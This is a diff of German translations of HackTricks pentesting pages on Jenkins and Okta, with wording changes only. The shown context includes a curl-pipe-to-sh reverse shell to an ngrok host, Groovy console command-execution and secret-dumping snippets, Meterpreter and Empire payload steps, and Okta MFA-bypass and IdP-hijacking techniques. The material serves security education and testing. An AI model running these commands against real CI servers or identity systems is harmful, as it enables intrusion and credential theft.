+Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
### Angriffsvoraussetzungen
- **Funktionsanforderung:** "Remember me" muss aktiviert sein (Standardeinstellung).
-- **Zugriffslevel:** Angreifer benötigt Gesamt-/Leseberechtigungen.
+- **Zugriffslevel:** Angreifer benötigt Gesamt-/Lese-Berechtigungen.
- **Geheimer Zugriff:** Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.
### Detaillierter Ausbeutungsprozess
@@ -18,7 +18,7 @@ Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem da
**Benutzerinformationsabruf**
-- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse aus `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
+- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
- **Benutzername**
- **Benutzersamen**
- **Zeitstempel**
@@ -65,7 +65,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
```javascript
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
-tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in einen hexadezimalen String
+tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge
```
**Cookie-Codierung**
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.
-Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um willkürlichen Code sicher auszuführen.
+Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index af6c230a8..0198cbf89 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -5,7 +5,7 @@
> [!WARNING]
> Beachten Sie, dass diese Skripte nur die Geheimnisse in der `credentials.xml`-Datei auflisten, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
-Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` dumpen, indem Sie diesen Code ausführen.
+Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` mit diesem Code ausgeben
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 386dfb727..ba9977774 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -26,11 +26,11 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
}
}
```
-Schließlich klicken Sie auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:
+Klicken Sie schließlich auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:
.png>)
-## Ändern einer Pipeline
+## Eine Pipeline ändern
Wenn Sie auf die Konfigurationsdatei einer konfigurierten Pipeline zugreifen können, könnten Sie sie einfach **ändern, indem Sie Ihre Reverse-Shell anhängen** und sie dann ausführen oder warten, bis sie ausgeführt wird.
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 7dbffe000..7f0465d27 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,30 +1,30 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Erstellen/Ändern eines Projekts
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Erstellen eines Projekts
Diese Methode ist sehr laut, da Sie ein ganz neues Projekt erstellen müssen (offensichtlich funktioniert dies nur, wenn der Benutzer berechtigt ist, ein neues Projekt zu erstellen).
1. **Erstellen Sie ein neues Projekt** (Freestyle-Projekt), indem Sie auf "Neues Element" klicken oder in `/view/all/newJob`
-2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen Sie einen PowerShell Empire-Launcher oder eine Meterpreter-PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
+2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen einen PowerShell Empire Launcher oder eine Meterpreter PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
3. Klicken Sie auf **Jetzt bauen**
-1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Trigger** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
-2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit aus: **`curl :@/job//build?token=`**
+1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Auslöser** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
+2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit folgendem Befehl aus: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Ändern eines Projekts
-Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der Schaltfläche "Konfigurieren"):
+Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der "Konfigurieren"-Schaltfläche):
.png>)
-Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht** **konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).
+Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).
Oder **versuchen Sie, auf den Pfad** `/job//configure` oder `/me/my-views/view/all/job//configure` \_\_ in jedem Projekt zuzugreifen (Beispiel: `/job/Project0/configure` oder `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Ausführung
Wenn Sie berechtigt sind, das Projekt zu konfigurieren, können Sie **es so einstellen, dass es Befehle ausführt, wenn ein Build erfolgreich ist**:
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 224514560..3ed1492c3 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,21 +4,21 @@
## Jenkins RCE mit Groovy-Skript
-Dies ist weniger auffällig als ein neues Projekt in Jenkins zu erstellen.
+Dies ist weniger auffällig als die Erstellung eines neuen Projekts in Jenkins.
1. Gehe zu _path_jenkins/script_
-2. Füge im Textfeld das Skript ein
+2. Füge das Skript in das Textfeld ein.
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
-Du könntest einen Befehl ausführen mit: `cmd.exe /c dir`
+Sie können einen Befehl ausführen mit: `cmd.exe /c dir`
-In **linux** kannst du: **`"ls /".execute().text`**
+In **linux** können Sie: **`"ls /".execute().text`**
-Wenn du _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden musst, kannst du _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Payload auszuführen.
+Wenn Sie _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden müssen, können Sie _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Nutzlast auszuführen.
-**Ein weiteres nützliches groovy-Skript** ist (ersetze \[INSERT COMMAND]):
+**Ein weiteres nützliches groovy-Skript** ist (ersetzen Sie \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
Sie können diesen Prozess mit [**diesem Skript**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) automatisieren.
-Sie können MSF verwenden, um eine umgekehrte Shell zu erhalten:
+Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index b4060dfee..89a69106a 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,7 +4,7 @@
## Grundinformationen
-[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen anerkannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die daran interessiert sind, Identitätskontrollen in Anwendungen, Webdiensten und Geräten zu integrieren.
+[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen bekannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die Identitätskontrollen in Anwendungen, Webdienste und Geräte integrieren möchten.
Das Flaggschiff-Angebot von Okta ist die **Okta Identity Cloud**. Diese Plattform umfasst eine Suite von Produkten, darunter, aber nicht beschränkt auf:
@@ -24,11 +24,11 @@ Diese Dienste zielen darauf ab, den Datenschutz zu stärken und den Benutzerzuga
### Zusammenfassung
-Es gibt **Benutzer** (die in **Okta gespeichert,** von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
+Es gibt **Benutzer** (die in **Okta gespeichert**, von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
Diese Benutzer können in **Gruppen** sein.\
Es gibt auch **Authentifizierer**: verschiedene Optionen zur Authentifizierung wie Passwort und mehrere 2FA wie WebAuthn, E-Mail, Telefon, Okta Verify (sie könnten aktiviert oder deaktiviert sein)...
-Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen...) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.
+Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen usw.) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.
> [!CAUTION]
> Die mächtigste Rolle ist **Super Administrator**.
@@ -43,21 +43,21 @@ In der Regel befindet sich das Portal eines Unternehmens unter **companyname.okt
### Anmeldung in Okta über Kerberos
-Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.
+Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **den entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.
-Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta die Verwendung von **AES** zur Ticketverschlüsselung, was den Besitz des AES-Schlüssels oder des Klartextpassworts erfordert. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.
+Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta's Verwendung von **AES** zur Ticketverschlüsselung den Besitz des AES-Schlüssels oder des Klartextpassworts. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking des Okta AD-Agenten
+### Hijacking Okta AD-Agent
-Diese Technik umfasst **den Zugriff auf den Okta AD-Agenten auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').
+Diese Technik beinhaltet **den Zugriff auf den Okta AD-Agent auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking von AD als Administrator
+### Hijacking AD als Administrator
-Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.
+Diese Technik beinhaltet das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -65,7 +65,7 @@ Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAut
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-Die Technik umfasst **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.
+Die Technik beinhaltet **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.
### Phishing des Okta-Portals mit Evilgnix
@@ -75,7 +75,7 @@ In [**diesem Blogbeitrag**](https://medium.com/nickvangilder/okta-for-red-teamer
Die **Attribute, die jeder Benutzer haben und ändern kann** (wie E-Mail oder Vorname) können in Okta konfiguriert werden. Wenn eine **Anwendung** ein **Attribut**, das der Benutzer **ändern kann**, als ID **vertraut**, wird er in der Lage sein, **andere Benutzer auf dieser Plattform zu impersonieren**.
-Wenn die App also das Feld **`userName`** vertraut, können Sie es wahrscheinlich nicht ändern (da Sie dieses Feld normalerweise nicht ändern können), aber wenn sie beispielsweise **`primaryEmail`** vertraut, könnten Sie es möglicherweise **in die E-Mail-Adresse eines Kollegen ändern** und sich als dieser ausgeben (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).
+Daher, wenn die App das Feld **`userName`** vertraut, werden Sie es wahrscheinlich nicht ändern können (da Sie dieses Feld normalerweise nicht ändern können), aber wenn es beispielsweise **`primaryEmail`** vertraut, könnten Sie in der Lage sein, **es in die E-Mail-Adresse eines Kollegen zu ändern** und ihn zu impersonieren (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).
Beachten Sie, dass diese Impersonation davon abhängt, wie jede Anwendung konfiguriert wurde. Nur die, die dem von Ihnen geänderten Feld vertrauen und Aktualisierungen akzeptieren, werden kompromittiert.\
Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:
@@ -84,7 +84,7 @@ Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:
Ich habe auch andere Apps gesehen, die anfällig waren, aber dieses Feld nicht in den Okta-Einstellungen hatten (am Ende sind verschiedene Apps unterschiedlich konfiguriert).
-Der beste Weg herauszufinden, ob Sie sich in jeder App als jemand ausgeben könnten, wäre, es auszuprobieren!
+Der beste Weg herauszufinden, ob Sie jemanden in jeder App impersonieren könnten, wäre, es auszuprobieren!
## Umgehung von Verhaltensüberwachungsrichtlinien
@@ -100,7 +100,7 @@ Wichtige Empfehlungen umfassen:
## Okta-Härtung
-Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen können, damit sie so sicher wie möglich sind:
+Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen, damit sie so sicher wie möglich sind:
{{#ref}}
okta-hardening.md
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 9d7abe36a..0c46c0a2f 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -1,196 +1,196 @@
-# Okta Hardening
+# Okta-Härtung
{{#include ../../banners/hacktricks-training.md}}
-## Directory
+## Verzeichnis
-### People
+### Personen
-Aus der Perspektive eines Angreifers ist dies super interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.
+Aus der Perspektive eines Angreifers ist dies sehr interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.
Für eine Whitebox-Überprüfung überprüfen Sie, ob es mehrere "**Ausstehende Benutzeraktionen**" und "**Passwort zurücksetzen**" gibt.
-### Groups
+### Gruppen
-Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden könnten.\
+Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden können.\
Es ist möglich, die **Personen innerhalb der Gruppen** und die **Apps**, die jeder Gruppe zugewiesen sind, zu sehen.
Natürlich ist jede Gruppe mit dem Namen **admin** interessant, insbesondere die Gruppe **Global Administrators**. Überprüfen Sie die Mitglieder, um herauszufinden, wer die privilegiertesten Mitglieder sind.
-Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (besser, wenn es nur 2 oder 3 sind).
+Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (am besten sind nur 2 oder 3).
-### Devices
+### Geräte
Hier finden Sie eine **Liste aller Geräte** aller Benutzer. Sie können auch sehen, ob es **aktiv verwaltet** wird oder nicht.
-### Profile Editor
+### Profileditor
Hier ist es möglich zu beobachten, wie wichtige Informationen wie Vornamen, Nachnamen, E-Mails, Benutzernamen... zwischen Okta und anderen Anwendungen geteilt werden. Dies ist interessant, da ein Benutzer, wenn er ein Feld in Okta **ändern kann** (wie seinen Namen oder seine E-Mail), das dann von einer **externen Anwendung** zur **Identifizierung** des Benutzers verwendet wird, versuchen könnte, **andere Konten zu übernehmen**.
-Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie eine E-Mail-Adresse verifizieren müssen, um sie zu aktualisieren).
+Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie zur Aktualisierung einer E-Mail-Adresse diese verifizieren müssen).
-### Directory Integrations
+### Verzeichnisintegrationen
Verzeichnisse ermöglichen es Ihnen, Personen aus bestehenden Quellen zu importieren. Ich nehme an, hier sehen Sie die Benutzer, die aus anderen Verzeichnissen importiert wurden.
-Ich habe es nicht gesehen, aber ich nehme an, dass es interessant ist, **andere Verzeichnisse zu finden, die Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.
+Ich habe es nicht gesehen, aber ich nehme an, es ist interessant herauszufinden, **welche anderen Verzeichnisse Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.
-### Profile Sources
+### Profildatenquellen
-Eine Profilquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.
+Eine Profildatenquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.
-Ich habe es nicht gesehen, daher sind alle Informationen über Sicherheit und Hacking in Bezug auf diese Option willkommen.
+Ich habe es nicht gesehen, daher sind alle Informationen zur Sicherheit und zum Hacking bezüglich dieser Option willkommen.
-## Customizations
+## Anpassungen
-### Brands
+### Marken
Überprüfen Sie im Tab **Domains** dieses Abschnitts die E-Mail-Adressen, die zum Versenden von E-Mails verwendet werden, und die benutzerdefinierte Domain innerhalb von Okta des Unternehmens (die Sie wahrscheinlich bereits kennen).
-Darüber hinaus können Sie im Tab **Setting**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.
+Darüber hinaus können Sie im Tab **Einstellungen**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.
### SMS
Hier gibt es nichts Interessantes.
-### End-User Dashboard
+### Endbenutzer-Dashboard
Hier finden Sie konfigurierte Anwendungen, aber wir werden die Details später in einem anderen Abschnitt sehen.
-### Other
+### Sonstiges
Interessante Einstellung, aber nichts super Interessantes aus Sicht der Sicherheit.
-## Applications
+## Anwendungen
-### Applications
+### Anwendungen
Hier finden Sie alle **konfigurierten Anwendungen** und deren Details: Wer Zugriff auf sie hat, wie sie konfiguriert sind (SAML, OpenID), URL zum Anmelden, die Zuordnungen zwischen Okta und der Anwendung...
-Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort** beim Überprüfen der Anwendungseinstellungen **offen zu legen**. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
+Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort offenzulegen**, wenn er die Anwendungseinstellungen überprüft. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
-Und Sie könnten einige weitere Details zur App sehen (wie die Passwort-Offenlegungsfunktion, ob sie aktiviert ist):
+Und Sie könnten einige weitere Details zur App sehen (wie die Passwortoffenlegungsfunktion, wenn sie aktiviert ist):
-## Identity Governance
+## Identitätsgovernance
-### Access Certifications
+### Zugriffszertifizierungen
-Verwenden Sie Access Certifications, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.
+Verwenden Sie Zugriffszertifizierungen, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.
Ich habe es nicht gesehen, aber ich nehme an, dass es aus defensiver Sicht eine nette Funktion ist.
